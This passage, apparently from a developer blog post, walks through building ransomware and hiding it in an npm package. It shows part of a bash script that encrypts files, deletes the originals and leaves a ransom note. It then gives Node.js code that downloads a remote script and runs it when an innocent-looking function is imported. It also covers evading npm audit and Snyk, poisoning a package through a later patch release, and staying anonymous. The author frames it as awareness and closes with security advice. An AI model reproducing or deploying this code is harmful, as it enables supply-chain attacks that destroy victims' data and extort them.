rm -rf folder-to-encrypt

openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc

rm -rf folder-to-encrypt.tar.gz

echo "You've been hacked! Gimme all the moneyz" > note.txt

Now, how can people be tricked into using it?

Hiding ransomware in a Node.js module

There are multiple ways to go about this.

One of them would be to package up the shell script as part of the Node.js module and execute it when the package is imported. However, having the script as a file in the repository would probably raise some concerns pretty fast.

Instead, I decided to use the fs built-in package to fetch a URL where the script is hosted, copy the content to a new file on the target's computer, and then use child_process.execFile() to execute the file when the package is imported in a new project.

This way, it might not be obvious at first sight that the module has malicious intent. Especially if the JavaScript files are minified and obfuscated.

Creating the Node.js module

In a new Node.js module, I started by writing the code that fetches the content of the script and saves it to a new file called script.sh on the target's computer:

import fetch from "node-fetch"
import fs from "fs";

async function download() {
    const res = await fetch('http://<some-site>/script.sh');
    await new Promise((resolve, reject) => {
        const fileStream = fs.createWriteStream('./script.sh');
        res.body.pipe(fileStream);
        fileStream.on("finish", function () {
            resolve();
        });
    });
}

Then, it's time to execute it to run the attack.

const run = async () => {
    await download()
    execFile("bash", ["script.sh"]);
}

export default function innocentLookingFunction() {
    return run()
}

And that's it for the content of the package! For a real attack to work, more code should probably be added to the module to make it look like it is doing something useful.

Running the attack

To test this attack, I published the package as a private package on npm to avoid having people inadvertently install it. After importing and calling the default function, the attack is triggered.

import innocentLookingFunction from "@charliegerard/such-a-hacker";

innocentLookingFunction();

Done! ✅

Security

You might be thinking, "For sure this would be picked up by some security auditing tools?!". From what I've seen, it isn't.

npm audit

Running npm audit does not actually check the content of the modules you are using. This command only checks if your project includes packages that have been reported to contain vulnerabilities. As long as this malicious package isn't reported, npm audit will not flag it as potentially dangerous.

Snyk

I didn't research in details how Snyk detects potential issues but using the Snyk VSCode extension did not report any vulnerabilities either.

Socket.dev

At the moment, the Socket.dev GitHub app only supports typosquat detection so I didn't use it for this experiment.

Additional thoughts

"You'd have to get people to install the package first"

Personally, I see this as this easiest part of the whole process.

People install lots of different packages, even small utility functions they could write themselves. I could create a legitimate package, publish the first version without any malicious code, get people to use it, and down the line, add the malicious code in a patch update.
Not everyone checks for what is added in patches or minor version updates before merging them.
At some point, some people will understand where the ransomware came from and flag it, but by the time they do, the attack would have already affected a certain number of users.

Staying anonymous

For this one, I don't have enough knowledge to ensure that the attacker would not be found through the email address used to publish the package on npm, or through tracking the ransomware transactions. There's probably some interesting things to learn about money laundering, but I know nothing about it.

When it comes to where the script is hosted, I used a platform that allows you to deploy a website without needing to sign up, so this way, there might not be an easy way to retrieve the identity of the attacker.

Last note

I wanted to end on an important point, which is the main reason why I experimented with this.

It took me a few hours on a Sunday afternoon to put this together, without any training in security.

A part of me was hoping it wouldn't be possible, or at least not that easy, so I'd feel more comfortable using random packages, but I am now thinking a bit differently.

I am only interested in learning how things work, but that's not the case for everyone, so if I can do it, a lot of other people with malicious intent can too...

I don't know if an attack like this can be completely avoided but be careful when installing packages, update things regularly, and think twice before merging updates without checking changelogs and file changes.